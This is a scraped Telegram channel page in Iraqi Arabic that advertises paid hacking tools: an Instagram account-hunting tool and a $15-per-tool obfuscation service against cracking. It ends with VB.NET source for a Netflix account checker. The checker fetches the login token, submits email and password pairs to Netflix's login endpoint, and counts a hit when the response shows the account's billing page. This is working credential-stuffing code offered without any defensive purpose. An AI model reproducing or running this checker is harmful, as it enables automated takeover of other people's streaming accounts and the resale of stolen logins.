U N C 0 Đ E R
Відкрити в Telegram
782
Підписники
Немає даних24 години
Немає даних7 днів
Немає даних30 днів
Архів дописів
تحديث الجديد للاداه مال صيد متاحات الانستا
تحدث النسخ الخاصه كلهن
تحديث بفلوس لحد يجي يطلب مجاني
تحديث تصال جيميل
تحديث نظام التفعيل عن طريق توكنات
تحديث حمايه الاداه حمايه مدفوعه
تحديث الشكل و حل اغلب المشاكل الي تصادفكم حاليا
جماعه سورسات لحد يجي يطلب سورس لان ما انطي تريد نسخه بسمك تعال وخلص
تحديث قريباا..
اليوم او باجر
شباب تره مو بالبيت اني فا لخد يلح قبل
يومين طلعت رحت الكلار ونوب مناك رحت البغداد
حاليا بغداد
ولاب ما فاتحه والله 😒
• مرحبا متواجد حاليا ☑️ .
• لتشفير وحماية جميع انواع الادوات 🔥 .
• حماية ضد التخطي وضد الفروخ 🤘🏻 .
• اسعار التشفير والحماية :
• اداة فقط : 15$ !
• مجموعة من الادوات : كل اداة 10$ !
• استقبل جميع طرق الدفع '' ☑️
• @lteaal .
Public Sub Netflix(user As String, pass As String)
Try
Dim httpget As HttpWebRequest = CType(WebRequest.Create("https://www.netflix.com/iq-en/login"), HttpWebRequest)
With httpget
.Method = "GET"
.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
.CookieContainer = login
.AutomaticDecompression = DecompressionMethods.GZip Or DecompressionMethods.Deflate
.KeepAlive = True
End With
Dim authurl As String = Regex.Match(New StreamReader(httpget.GetResponse().GetResponseStream()).ReadToEnd(), "name=""authURL"" value=""(.*?)""/").Groups(1).Value.ToString()
Dim bytedata As Byte() = Encoding.UTF8.GetBytes(String.Concat(New String() {"authURL=", authurl, "&email=", user, "&password=", pass, "&withFields=email%2Cpassword%2CrememberMe%2CnextPage%2CshowPassword&rememberMe=True&flow=websiteSignUp&mode=login&action=loginAction&nextPage=https%3A%2F%2Fwww.netflix.com%2FYourAccount&showPassword="}))
Dim httprequest As HttpWebRequest = CType(WebRequest.Create("https://www.netflix.com/Login?nextpage=https%3A%2F%2Fwww.netflix.com%2FYourAccount"), HttpWebRequest)
With httprequest
.Method = "POST"
.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
.ContentType = "application/x-www-form-urlencoded"
.CookieContainer = login
.AutomaticDecompression = (DecompressionMethods.GZip Or DecompressionMethods.Deflate)
.Host = "www.netflix.com"
.Referer = "https://www.netflix.com/iq-en/Login"
.AllowAutoRedirect = True
.ContentLength = bytedata.Length
End With
Dim poststream As Stream = httprequest.GetRequestStream() : poststream.Write(bytedata, 0, bytedata.Length) : poststream.Dispose() : poststream.Close()
Dim result As String = New StreamReader(httprequest.GetResponse().GetResponseStream()).ReadToEnd()
If result.Contains("href=""/BillingActivity") Then
GunaLabel14.Text += 1
Else
GunaLabel17.Text += 1
End If
Catch ex As webException : End Try
End Sub
